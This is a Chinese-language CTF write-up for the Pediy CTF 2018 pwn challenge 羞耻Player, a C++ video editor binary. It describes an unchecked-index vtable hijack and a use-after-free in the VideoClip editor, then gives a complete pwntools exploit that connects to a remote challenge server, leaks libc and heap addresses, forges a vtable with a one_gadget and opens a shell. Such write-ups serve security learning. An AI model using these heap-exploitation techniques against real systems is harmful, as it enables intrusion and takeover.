-
-
[原创] 第九题 PWN-羞耻Player WriteUp
-
2018-7-2 18:32 1392
-
Pediy CTF 2018 - 羞耻Player WriteUp
程序用C++编写,写了一个抽象类Clip,派生出AudioClip,VideoClip,SubtitleClip和MetadataClip四个类。
虚表中有四个函数,分别对应add, edit, remove, play四个操作,具体的函数由不同的派生类不同实现。
IDA标一下数据成员,大概是这样:
00000000 metadata struc ; (sizeof=0x48, mappedto_11) 00000000 vtable dq ? ; offset 00000008 date db 32 dup(?) ; string(C) 00000028 owner db 32 dup(?) ; string(C) 00000048 metadata ends 00000048 00000000 ; --------------------------------------------------------------------------- 00000000 00000000 video struc ; (sizeof=0x50, mappedto_19) 00000000 vtable dq ? 00000008 resolution dq ? 00000010 fps dd ? 00000014 frame_number dd ? 00000018 data_ptr dq ? 00000020 description db 48 dup(?) ; string(C) 00000050 video ends 00000050 00000000 ; --------------------------------------------------------------------------- 00000000 00000000 subtitle struc ; (sizeof=0x18, mappedto_17) 00000000 vtable dq ? 00000008 language db 4 dup(?) ; string(C) 0000000C length dd ? 00000010 content_ptr dq ? 00000018 subtitle ends 00000018 00000000 ; --------------------------------------------------------------------------- 00000000 00000000 audio struc ; (sizeof=0x48, mappedto_18) 00000000 vtable dq ? 00000008 bitrate dd ? 0000000C time dd ? 00000010 data_ptr dq ? 00000018 description db 48 dup(?) ; string(C) 00000048 audio ends
标完结构体和函数,看一下代码,发现以下几个可能的漏洞:
std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"Enter index : "); std::istream::operator>>((__int64)&std::cin, (__int64)&v1); if ( !clip_list[v1] ) exit(1); (*(void (__fastcall **)(clip *, __int64 *))(clip_list[v1]->vtable->edit))(clip_list[v1], &v1); return __readfsqword(0x28u) ^ v2;
这里没有对输入的index进行边界检查,只要该处的值非零就按指针跳两级过去执行,故可以做对象和虚表伪造来实现控制流劫持。
a1->frame_number = 1024; v2 = operator new[]((unsigned int)a1->frame_number); if ( !v2 ) exit(1); a1->data_ptr = v2; if ( a1->data_ptr ) operator delete[]((void *)a1->data_ptr); std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"Video Data : "); a1->frame_number = read(0, (void *)a1->data_ptr, (unsigned int)a1->frame_number);
VideoClip的编辑函数,这里写了一个非常魔性的漏洞,先申请了一块内存,然后直接free掉,然后再往里面写入数据。可以使用一般的Use After Free利用方法,泄露地址或做Fastbin Attack或Unlink。
综合这两个漏洞,就有以下的攻击方法:
- 泄露Libc地址
- 泄露堆地址和程序基址,计算偏移和虚表地址
- 在堆上伪造虚表,写入one gadget
- 利用无边界检查的偏移量跳过去执行
程序有一个难点:
fd = open("/dev/urandom", 0); if ( fd < 0 ) exit(1); if ( read(fd, &buf, 4uLL) != 4 ) exit(1); close(fd); srand(buf); for ( i = 0; i <= 255; ++i ) { v0 = rand(); v5[i] = (void *)operator new[](v0); } for ( i = 0; i <= 255; ++i ) { if ( rand() % 3 == 0 ) { if ( v5[i] ) operator delete[](v5[i]); } v5[i] = 0LL; }
分配了256个大小随机的堆块,然后随机free掉一些堆块,让它们进入bins,造成之后的堆内存分布不整齐。
解决的方案是,事先分配很多个需要用到的大小,来清空对应大小的bins = =
利用use after free泄露地址,先准备好一个free掉的second=1024的VideoClip,然后创建3个256大小的VideoClip,free 第一个和第二个,再Play 1024大小的VideoClip,就能泄露出需要的三个地址。(libc和堆地址从双链表中泄露,程序基址从对象中的虚表地址泄露)
拿到地址之后,计算好下一堆块地址、偏移量和one gadget地址,new一个VideoClip,放上指向伪造虚表的二级指针。利用任意偏移执行触发,得到一个shell。
exp:
from pwn import * #p = process('./video_Editor') p = remote('139.199.99.130', 8989) elf = ELF('./video_Editor') libc = ELF('./libc.so.6') def add_video(res, fps, frames, data, desc): p.recvuntil('>>>') p.sendline('1') p.recvuntil('Clip Adding') p.sendline('1') p.recvuntil('Video Resolution : ') p.send(p64(res)) p.recvuntil('FPS : ') p.send(p32(fps)) p.recvuntil('Number of Frames : ') p.send(p32(frames)) p.recvuntil('Video Data : ') p.sendline(data) p.recvuntil('Add description : ') p.sendline(desc) def edit_video(index, res, fps, frames, data, desc): p.recvuntil('>>>') p.sendline('2') p.recvuntil('Enter index : ') p.sendline(str(index)) p.recvuntil('Video Resolution : ') p.send(p64(res)) p.recvuntil('FPS : ') p.send(p32(fps)) p.recvuntil('Number of Frames : ') p.send(p32(frames)) p.recvuntil('Video Data : ') p.sendline(data) p.recvuntil('Edit description : ') p.sendline(desc) def add_audio(bitrate, time, data, desc): p.recvuntil('>>>') p.sendline('1') p.recvuntil('Clip Adding') p.sendline('2') p.recvuntil('Audio Bitrate : ') p.send(p16(bitrate)) p.recvuntil('Audio Length (seconds) : ') p.send(p32(time)) p.recvuntil('Audio Data : ') p.sendline(data) p.recvuntil('Add description : ') p.sendline(desc) def edit_audio(index, bitrate, time, data, desc): p.recvuntil('>>>') p.sendline('2') p.recvuntil('Enter index : ') p.sendline(str(index)) p.recvuntil('Audio Bitrate : ') p.send(p16(bitrate)) p.recvuntil('Audio Length (seconds) : ') p.send(p32(time)) p.recvuntil('Audio Data : ') p.sendline(data) p.recvuntil('Edit description : ') p.sendline(desc) def add_subtitle(lang, length, content): p.recvuntil('>>>') p.sendline('1') p.recvuntil('Clip Adding') p.sendline('3') p.recvuntil('Subtitle Language : ') p.sendline(lang) p.recvuntil('Subtitle Length : ') p.send(p32(length)) p.recvuntil('Add Subtitle : ') p.sendline(content) def edit_subtitle(index, lang, content): p.recvuntil('>>>') p.sendline('2') p.recvuntil('Enter index : ') p.sendline(str(index)) p.recvuntil('New Language : ') p.sendline(lang) p.recvuntil('Edit data : ') p.sendline(content) def add_metadata(date, owner): p.recvuntil('>>>') p.sendline('1') p.recvuntil('Clip Adding') p.sendline('4') p.recvuntil('Date of Creation : ') p.sendline(date) p.recvuntil('Owner of video : ') p.sendline(owner) def edit_metadata(index, date, owner): p.recvuntil('>>>') p.sendline('2') p.recvuntil('Enter index : ') p.sendline(str(index)) p.recvuntil('Date of Creation : ') p.sendline(date) p.recvuntil('Owner of video : ') p.sendline(owner) def remove(index): p.recvuntil('>>>') p.sendline('4') p.recvuntil('Enter index : ') p.sendline(str(index)) p.sendline('\x00' * 0xf0) for i in range(100): print i add_video(10,1,256,'A','AAAAA') add_video(10,1,1024,'B','BBBBB') add_video(0, 1, 1024, 'a'*1023, 'aaaa') edit_video(200,0,1,1024,'b'*1023,'bbbb') add_video(1,1,256,'b'*32,'bbbb') add_video(2,1,256,'c'*32,'cccc') add_video(3,1,256,'d'*32,'dddd') remove(201) remove(202) p.recvuntil('>>>') p.sendline('3') p.recvuntil('index') p.sendline('200') p.recvuntil('Playing video...\n') rec = '' for i in range(1024): rec+= chr( ord( p.recv(1))^0xcc ) print rec addr1 = rec[0:8] base = u64(addr1)-(0x000055f8e7a7cc70-0x55f8e7879000) addr2 = rec[0x60:0x68] libc_base = u64(addr2)-(0x00007f266783db78-0x7f2667479000) addr3=rec[0x68:0x70] heap_addr = u64(addr3) print hex(base) print hex(libc_base) print hex(heap_addr) one_addr = libc_base + 0xf1147 fake_vtable = p64(one_addr) * 4 vtable_addr = heap_addr + (0x55706945beb0 - 0x55706945bc30) + 0x20 add_video(66, 1, 1024, p64(vtable_addr - 0x8) + p64(vtable_addr) + fake_vtable, fake_vtable) print hex(vtable_addr) offset = (vtable_addr - 0x10 - (base + 0x204280)) / 8 print offset p.sendline('2') p.sendline(str(offset)) p.interactive()
赞赏
他的文章